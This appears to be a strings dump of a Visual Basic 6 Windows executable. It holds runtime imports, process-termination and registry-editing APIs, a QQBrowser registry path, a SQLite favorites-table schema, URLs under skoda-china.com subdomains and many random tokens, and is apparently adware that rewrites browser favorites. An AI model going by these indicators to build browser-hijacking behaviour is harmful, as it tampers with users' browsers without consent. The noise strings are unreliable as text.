Sg6/
sgtecpxlcbnohookrqhsgdipvknd
shuixzzsjehpjgbkgwtfuwmfhbjpemjxtdbsrtwpqlouj
sjhhcpzgz
skktkbeqkgrcet
skqmu3qPCx2Fu3JcQZq7b6F7bqq/bkxHbD
smupzfcvgfwbvmulcoauxutxzd
snffarramrjkzhbumlyuoffobusj
snmom
sOCAaH0n4er6wr2
SOFTWARE\Tencent\QQBrowser
soilvhtywynfkeiilsrepnacqhwotxpzplvdonwwvlasypwgovucnyllyzzeudvfyjoyjxuzmonijctohptgmananodlmdupx
s/oNOb2d2gFNsgToksyxSG
spadheqxeiomhhcrxg
sQkWVypmXIpLlQp7wyJhwIpmsQkFtFO2UxgF4jpNP1A
stllkrjicjjlivmojkc
StringFileInfo
suvesmfafhnwsehthtjdgbuqtqbkhgqcwiihjaseifkjvfoqpxxqichthekxeucsolmpqbfblhc
syrutteylazvrqrkcsbzjncwjuambduubyrtxqbvikyzzekkmwfwrzrltiwkkciheqqhgzauytseylcgfgagrz
szcvdqem
szjlmysgbrejjsszuopw
T5/kHWgfTAHBcFGuB0PKBaGLmWPq2WGZELBGcYTYELV6PLqfJz5GJLxbjTUh2TU6JLplJLqzJYVYJLKU1HGYIkHrvWGnBkH7Xk/63Hfu3FHBcF/6v4W73V
ta0D
taeytvwryfxgjzuevbbfod
TargetPath
taulviedqbpshkmexnnekwxrozubrypzwdwdnwlfdfeqfm
tbckmlvhvoegoihdnjkvrwtazmbhttvrgioyvfnusuaghskquxnbu
tblbomskbareu
tbrlixlydflpsxgymfrecxlnwfvorxkbleu
tdlcqiieqaiohektscaqpwhlpumirejirropevwzqybhbidmjtgrgllevfidihcahwjkmzpiztwswvbzwliuyln
TEH5716x9D24oS8F
tejwvjwpdemuvovksoiozyktrimeosojfbwmiwynfwkdmgihuqkbmvwftzowwjbwet
telprdbynvutwgzirkztqhfrbuavnnrsgjuosnlhryzommfwkcycvbkwgeyhzkouvnuwezieexjnapcinmicidxjipbfh
teobwlhiiphdc
tF2I5MD
tfhdlupgprjuevjo
thxcvmrjslid
thxdlmzfqnjtgtht
tidintidn
tilgto
tjfonjgkaf
tjsy
TKGQa6kAlNGdIpYrl4ck/pqUvN3c/jnu7mSRPEQA
TKLq
tlDA632M6YqMtl2A63qA63dM6I6A6Y2n6YduFI6MFIJltYJe6IDe6Y2W6YDAt3dM6lGutI6nFIGu6YaB
TLnJ3v0u1cwO19w07H5/GmVw7fB6YdRKkcJu
tlwzghzviqlzcbjaokatuvojouznuqdnmdpdfkcicinmi
tmeoqwqkqekk
TP5o1j7
tper
tpkqlpmsqxltnhoyvssqltfvtzunsmssplfsjifobshzwphvdzugywjnqwlsttkvndnkkymcpkzhhxejchmj
tpvhqbiu
tqtabqjkfogsnuwoxdwe
TQTave
Translation
tSL4KwJXTmLXumb+DV1Be3MODqNBzwUbTVZXgHI
tTYHvlm1d7LU2Tq
tuQ980d3XYFK3z1owB1qNOV181s
tusycsdr
tutocqmjvsntch
tvchumvdgprbuvqsxlutioskvsjowiczuwjshnmtxgsckxlnwaghvbf
tvgfxxvgvcibkfnjxjutvrevkcwfxygcwjncootkyraulmvracnlydsjxukdbluazbmrydqblsatkzroobmaxgtvbtuwyibc
TvZslFSCWvs
twajjodijabpeqmqabw
twlnxyrz
txafoqqtuohwqafiuobgfrghicpvfwtwicpvtgfwhbdjiupagvyjhejklqcyrjdoakhs
txjpnuwffjmbuwdwslyvtfuhlkmmvwbjputznjywpdfvzqkfbfhcdpownbtekmgjfjgmugqzprijmdnsdifajfful
txmgbagezocivpsrnjhxinicpbm
TyH7bTlRtDJv3DShbx
tyhjjzlfxnwylzkehilssvcbodnomelfinbisbxzhxgiitzogrlkkyotbbxkki
tzovqjqailfsdvhmksskex
U/6h4IlJIISUo353WnItoIS13clyBMBL1yI1IQIE0cIEBheo33SYGDBbwWS1qcl6G4lEfhjefJ3FaYTe7UTea8TeaYTY7Ik
uaiazhdomxabbpwgdywnibdyavzpfsjphngnmfgatpd
uaodmou
ub/0M2AkXF/LQ6nLQlImubsLQx4+uJNrh2eSV6vKXr
ubefuclfmwtpkdynosghdvlikvdgkxxlxtrymezdkatpzqqpmigh
Ufc8fW11rYQ8kvc3
ufyedulyoqpaaldkrwcm
ujounuzstylthuuhixfiriowdmzkyzzctiagkojrnxkqtdigiwekdffkhqyjsuwkbadicttbk
ujxbonyoigvkbhwzwxllnskc
ulfgcckfdkkhsrtfnzcfbqstsoofvfxxmoijuvsnlbayoubbdqkceyvbzpzmni
UMJQSeAH
unvpvthjrhhcmznnzpcrfheqzn
uolgplwexwddmysnjdafoakijvccgmrutczudzjwijqrubvyhansrnna
UPxgyAm
UpYRO8PK5mbZ
UriWEpS3
ustoqvizusoiyenzksihukm
USx0UJ1b
UwfCWps
uwwvohifci
uxezbhrogprrnotgwmnypwanigazhonpvam
uzhnbdxrxrghwsxoztwcanasynqvzwgovmukovgjxbtpdkpqrqyjcuzrycfshdtbswsybjdgh
V3fe
vacmekorhvoorsbsdhotcxbeljlvdzynnwyrpwmpudzerpyqhzbqokaxd
vanodcilxrjvwjosyzwujqqkrbzeobrunxqwunsiauntsepykpkqfmmg
VarFileInfo
vbihuftfuthwdtnpzselitxeepvkndmtdlipcxltttujrslsnsenagkrwkyxfvprbhsmzkjvlycrjzdfpjuz
vbyexkygxcganqmlmsl
vcgysbdnwlvxshdmagvnhbsceluhwaxxefjfgalfoktalolbsjyuvovzhdnopyapdncuzxeo
vcZmZyHz
vczvqedk
vdztgkzlaygvnxqiscymzjyuzuvugwqotmrlikovaoyifxgxhabzcxloehiqyexzjjuegbqglypt
vdzwee
vegmeqqjpdqlzvahyce
VEHX8
Vev3lhsVkd3952629Cn
vhdxbbabqovkizhdnghbfbzlfsjomngnmfgrezoaj
vhpcdkrvdyifenjyqwarlogatoxtdbyxepoqvnjjgrvsrpqwddhuzrtnzbkggdekrrgisfxbot
vKtf5H5akfqkqPqcrKqc5wZUvvjCA65GIpjkUpaFI0iGe0tckLZgdvI4dbqEUvWQ7bzidnFFduIEyXRZdv7QdGjodR7FDuzK7XEwY7
vlbsnglvsnrffmnebcarmjfgtzcdtgodlfyqkkvpgcfchvswopytebxslguhlopkctcthqmvi
VO6nWxHkoW
VOni2ya
vpcemuuozucyiozczzgxwsyrnxfmwynmyhfwasmvnbeqzbmacrfluwc
vqkvytjipckfrzxq
vrbjhfsxvwldgpgruqkxfugljkzrxdvfyudbmpkznddgjsjehtn
vrgyhvhsaqvdohmmkquxdbaaipulcvaaszilzieomyhpaeafdchejsuectyqunjudydstxkzabvidxhmoauhclynop
vsnlsh
vstyrillguedjluesbtf
VS_VERSION_INFO
vtmkbugstpmenxzuaajxcq
vUHpGrWD2WWqLU9Th6N0Gr7kX5
vwbdlkwmzqf
vZOrALsbYMd9vfz9hZOnhm49IMow+FAuJfzbEmCW
W9ewFXgnpOO
W9yve2LqPELZp9L672KJ7ELqW2yyBzS3PMIyXEL6DY
WaFcGWFIYmb
wagevQgy
warsugzflzgmzkzkktugououayuayznzkduoxjntomjicnrengicmxbhnlxwqgfsbfwrawpmbzwvefprqjvp
wbfqxkquggtkpuuofatfmyeipuizldjcuoxianihiiwnzhimdytfzmhvxck
wCo7ouDpeb+S5/
wcznfmfz
wDmIsKsLoIrorArYzDrYslFEwwGJScsVPTGodDmfSCmY
wejdscawqdycdtcfucdwnyqcjwrqnc
wF51HYL
wgrynpkjvbyhreknvvnmbtesuefwayjstyuvpcxgitbutwhkssawtqbfhrfjtvvuwrplpequwgefwu
wgyzakwphjjehzaeqbvu
whfidrvayoxek
WindowStyle
wirezoeehytlbkcqjffidhtiarqyfyqucisfhvxckvjcsuwvsoimnlirpgkdztkkhdxkbpmcfzzrnmtnghbsdrokntiafy
wiyypjmblijsedklkmnmoybqkwchd
wjvopslghezienkbamjrdykvkhiwssjajlbqcmxiwtzjqpyxwyysajcraxdieemcvcncoyz
/WK3DQb8dI5pA/3j
wkmpdfkcyczudapyznpfyauavamsfmxulxzenzjokzlbebltklddgyhaicpzxugevjbbxysahaxdblvij
wkncewhntbqflaorbrqsoudl
wlztfezmjwfFjrLD
WorkingDirectory
wprN/Csm4Y3q1oLqkxV
wpwhzlyvvkmmunmpadlvoatjkyakyjtoonokidixjnjzmxpndheyugknsbddtfzmhlinioyv
WqXVJBEprDi2J7iYWBEZrNQyW7QhWDoGSMt
wrtdvnhnxhbocohwlzkavnoganon
wszakwquddqbxlysr
wuKPEDKmrG+kzqg
wuqfyylgmsnbjimngh
wvvjfkmuyfqi
wX+awrbBcpoBcX2
wxhjamdnwcczencxfwltmqrcfrknbpmrpguhqegqtfjmsqqkizygwszexdszaelltnreatlfqc
wzqbzqzmlovkzkouezqkrdgeqeffrhqzjriivsreymzrpqgnyrmwyvumxbbqneegmvafyk
X83LWqz4WZF4X8zLWqFYWZK4Wqz8WZA40dAGWw
xaxnlrvarvxhpldqlprrulzhngvfdztgbqrhstiaquzucyhpamodmdhzpjnxbxrepa
xbbfiqmeya
xbyeczysdsudhyowshnsqnigmuwibdgy
xcihzvsmf
XeSH
xfmloohjwpvpsywtszaoqngxlojohmkhgezdpbuwzcymzfzvkcdceujkfrmbotrufctsdtw
xfpjddlcljpbxnlmpbhasmfrnefuafgrrzpopzshqoomjpsyxufoixgsgjsvixubpydxyi
xfuKeNRN2I1UXQ8gfXHDr5jFu8qR6Sl3XjF0Uq
xhppoaawrbejsufnwvxorzzkfpm
xhuznydargoyvcrzwgcyawxarpxbubldzkmhlnmyjyglvhrnyialugzrymulzterdh
xisokfsrefogehydqcsvqoakyjummghwuqhjuceebsbbgubfotdfbmydlwlndtkpxdnuftuhuluwha
xivh
xlxqdetbrabwdesugulehnreuelaiubyjykevgvduxoxpm
xmojolknqzriwrloauxcghhkqjqwpbmugukaergoshjzuffnnwdocejiixtdxeprdansredbgfxdxywjgfsxllv
xobujalzpdlzevtmybwhetcwu
xocjmegeyxncaoy
xoskenppivucrqcywxgnohfqtjdqaeqly
xotwosektpyvmlyunpsvgkdyhddkakndpvwzkpvfkwvcdhu
xpjwcagropuiosuzbhliuczjtedgrprgezexshdolwbsqtqknzdmsqsszlfshxezbhragerrnutgwltnavfcidffcncouabme
xsjgglgnct
xtdljl
xttwonfkhtomdmpkbdtghwozwnhamwdocewuv
XUDFS4koKqmlS6zsSwzlO4Ks01lXvxD3
XWDbZ7ZuMbIMIOIwJWIwZPmUXXYCtTZ0vnl
xwjvzvacjtcxgsiewkzfikordhqwuhgdkjllrdnfbqsyifpxecekqrctaehxlcc
xwnedqffgbnycvbzvlcsrpfyadwrszkryxvmrtjcxhw
xwv09Yh+3YffEa
xyhyjnubzfjltrtclhguudfzxdtrcahqopeijmjywrwfkzvgcotkgzwadpicxmiiflkxktkprdxr
xynupijdepdgwzqemrki
xzuyydrcgzfipxgmgtzbxxlclgrasckqylwehhpvzffyrbtdxeqekdbcrzpyzkgwgtutotrwvc
xzyggfkmtzctsrwtfqslgosrvbar
XZz877L389tp763kTxK0q
y99T
ybjjwykcowojoakwsgnddftmrlcxdeivrpcpctxaqkbjrnxzujvkiprjoizucotdonoerixpsbddwsmzznpeargyyhw
ybsvnjspkicrzquhhaztmrqojhblsjo
ybTkeu2KWe
ybxyiiwiresydaodj
ydcsvdwfbczeiforsrgrkrvtptnixtdk
ydlonaqylfxtihcqnmzdmpexzemhwndroygwldnuvqsospveq
yedqqeva
yedqqeva.exe
yfuppnesrhgsmuqfouyuemnrugkrldptdimttbbaiiyafnjnkvfcrapowxaztwim
yfwprbkdivgerrrxmpuovfdztgrcetctsaosj
YGx6MD03MYuUg80AMYSBMYu+
yhjtrsqyjcoormrtzuqqypeqlps
yikqjupxtihxbxhelumjcuogsmfajwweejalbdnqmqxy
yiputoiflpmlzkuhmxoildhtzilankjlmbnhprgtympzhymzlofgjuzwilhrawlyjceucicgbk
ylehppcixnswojrnuscrsdqfewxriqykobxvvayzowbvxucysfqpbgekmuuofqiutozxukxoaiy
ylH+9Dzl9lHYjjJfnO/
ylwkhmzqczlewqzir
ympquxnhdgefumcbnayuybgprck
yocixeyhjateyplolsfaphnwnzsdnezeqrioolwwnirgqnytffsnckrvrbjvptocdtwmbaqzqlyuosnfhhkqfnunu
yoF58V66rc1C
yqfdeweficrmvymdz
ysgen
ytfiu
ythjym
ytseelclegzrkdjeqsgndlcaitmkphoyvaippxephxbcwumgtoxddwutvlp
yuentldjmuehvpcxgtdbigribsxqwadrfcspqvqwaxbelpsquqaefuffiffouruptvvlcqjzicxqm
yufvobbqcwtjkwfpijeannok
yuksdhehccpyqyxkfdfgxywf
yuylcassarmtehfpdjdpgfxwuvuiimzehnreftlvijiwharhkcgtyxaznjillecwzvvsnwoolmbozduvnjngmkhgalpcyhincx
Yv1/yT++Iv8A
yvolczhsimwstydklhoyzvpon
ywqtppmhqmmghviexzthds
ywtszknlqiptmramwfvqitmuorxrouyvfdezqruhmeaaniruersrefi
yxqisqbfqj
yzvxxwxmkqktzikusdhz
zaxpzwhbzomzsgbpxyhciqgkbmlxrevyghjqlepdqwzluxosvbofaxtntpdetwncnemp
zcsmzkcotrmltjwniuqkbmwxgpvksmfxwffoqlczoribtzhdnvsmdncyhvmpmnwrckvpgrfsszfubcpwrzvtgbuqgnetagzvf
zcxcodqnxbsgrrkmrqmqnsryrtuecclncouzwrzwgalvmxghvyeyvxgrrpawyoofzlrlikspocmacdctokgzwnbrgefz
zECx+TAmQjQS+tzx
zfowgpbsgrvnfjajxiemwfhbohrojrjfiptvlogvdwfcxvsrushttcoqykyfquaxlwansvupsxsztbdtlmipa
zgEh5PNi2Yy3OgW
zhxrdjhjvjayqqklclhasdbnjmxxj
zjihreftllhydwrliozvvtutaleisugkwuietgjilaevpsbkhn
zjlcylhhusfiphyyklpq
zjmhlmwzqiaaj
zjtavtjrnjnpjxdvnnhoywswjuws
zmkfuvacixpviakdsczzszsghaiirnxfbamiqxqtaphlfmhdpjpaz
zncjomikcsrddwvpcxgisqhzqbfcxagknizglopzhsdfktotvbkwmcniuqktybnhupylk
znozhxkbbrcwstovqoysfhgsmekfojhuecdbujo
zoyssvxbejlshvgvndcobklah
ZPLgfETKZp9E7T
zqckqvnnghjrdrojstqeptglugiawgcygiuiyxppdumpaercketbswjjcbvozyqvbxcalpxiyepxnhezng
zqofvnpncneopszenxnhcfejx
zrniqamjymdchxgidgszwhvii
zsonyhynkraup
zTuMVJmBJJ4z+gfg/FJv+J4wgkm5eHelw5JwJUJrSkJreMC+gg4Ox1e6Y/4wJUMj+5MXYzbxEj9ksBddEvsdEvgdEvLdEX4e
ztytjyfsgfiuqkfpskplrhfkping
zvzmiq
zxnmaaeftwhbfayufnmbzzsuxf
zynmmcuevpmp
zzndbjkahbtzdgmvoorcbyjnqa
1tablefavoritefavorite
4http://taobao.skoda-china.com/
_adj_fdiv_m16i
_adj_fdiv_m32
_adj_fdiv_m32i
_adj_fdiv_m64
_adj_fdiv_r
_adj_fdivr_m16i
_adj_fdivr_m32
_adj_fdivr_m32i
_adj_fdivr_m64
_adj_fpatan
_adj_fprem
_adj_fprem1
_adj_fptan
advapi32.dll
_allmul
aRsU	Rs
c0Vs1KKS2Z9rw3YR
_CIatan
_CIcos
_CIexp
_CIlog
_CIsin
_CIsqrt
_CItan
CloseHandle
CreateMutexA
CREATE TABLE favorite(id INTEGER UNIQUE,url TEXT,title TEXT,type INTEGER(2),parentid INTEGER,nextid INTEGER,firstchildid INTEGER,titlewidth INTEGER,hitcount INTEGER,param1 INTEGER,param2 INTEGER,param3 INTEGER)/
CreateToolhelp32Snapshot
`.data
DeleteFileA
DJHYC3916Y
DllFunctionCall
dRsjWSs
Es6nTsu
EuZKdA9F
GetMem2
GetMem4
GetTickCount
GetVersionExA
http://down.skoda-china.com/
http://hao.skoda-china.com/
http://jd.skoda-china.com/
http://tmall.skoda-china.com/
http://windows.skoda-china.com/
indexsqlite_autoindex_favorite_1favorite
JUroot
kernel32
LQsD~Ss=
lstrlenA
luw7bjFUu195Pn7sjcNhN
mRsDZSs
msvbvm60
MSVBVM60.DLL
OpenProcess
Ph63d6q5
Ph63d6q5yuPRB5
Process32First
Process32Next
PsCaRs
PsD;Ts
Qs0LRs6
Qs|5DsO
=Qsb>Rsi
<QshrRs
Qs.kTs
QsqOQs
Qsq:Ts
Qs:_RsZ
QsSuTsV
QsucRs
Qs"YSs
RegCloseKey
RegCreateKeyA
RegDeleteValueA
RegEnumKeyExA
RegOpenKeyA
RegQueryValueExA
RegSetValueExA
Richya
RsA^Rs
RsdjRsK
Rs{eRsUBRs
RsQhRs
Rsr]Qs/
Rs__Rs
<Rs[rSs
s6am7Fhttq0X1
SQLite format 3
TerminateProcess
!This program cannot be run in DOS mode.
TsqbRs@
TsrkSs
vb6chs.dll
VBA6.DLL
__vbaAryConstruct2
__vbaAryCopy
__vbaAryDestruct
__vbaAryLock
__vbaAryMove
__vbaAryUnlock
__vbaAryVar
__vbaBoolVarNull
__vbaCastObj
__vbaChkstk
__vbaCopyBytesZero
__vbaDateVar
__vbaEnd
__vbaErase
__vbaErrorOverflow
__vbaExceptHandler
__vbaFileClose
__vbaFileCloseAll
__vbaFileOpen
__vbaFPException
__vbaFpI4
__vbaFPInt
__vbaFpR8
__vbaFreeObj
__vbaFreeStr
__vbaFreeStrList
__vbaFreeVar
__vbaFreeVarList
__vbaGenerateBoundsError
__vbaGetOwner3
__vbaHresultCheckObj
__vbaI2I4
__vbaI2Var
__vbaI4Abs
__vbaI4Var
__vbaInStr
__vbaInStrVar
__vbaLateMemCall
__vbaLateMemCallLd
__vbaLateMemSt
__vbaLbound
__vbaLenBstr
__vbaLenBstrB
__vbaLsetFixstr
__vbaNew
__vbaNew2
__vbaObjSet
__vbaObjSetAddref
__vbaObjVar
__vbaOnError
__vbaPowerR8
__vbaPrintFile
__vbaPutOwner3
__vbaR4Str
__vbaR4Var
__vbaR8Sgn
__vbaR8Str
__vbaRecAnsiToUni
__vbaRecUniToAnsi
__vbaRedim
__vbaRedimPreserve
__vbaSetSystemError
__vbaStrCat
__vbaStrCmp
__vbaStrComp
__vbaStrCopy
__vbaStrFixstr
__vbaStrI4
__vbaStrMove
__vbaStrR8
__vbaStrToAnsi
__vbaStrToUnicode
__vbaStrUI1
__vbaStrVarMove
__vbaStrVarVal
__vbaUbound
__vbaUI1I4
__vbaUI1Var
__vbaVar2Vec
__vbaVarAnd
__vbaVarCat
__vbaVarCmpEq
__vbaVarCopy
__vbaVarDup
__vbaVarMove
__vbaVarSub
__vbaVarTstEq
__vbaVarTstGt
__vbaVarTstNe
WaitForSingleObject
wdnbbayedqqeva
WtaPvZadA9FtpS
yedqqeva
yvhgdoe
?zhttp://ju.skoda-china.com/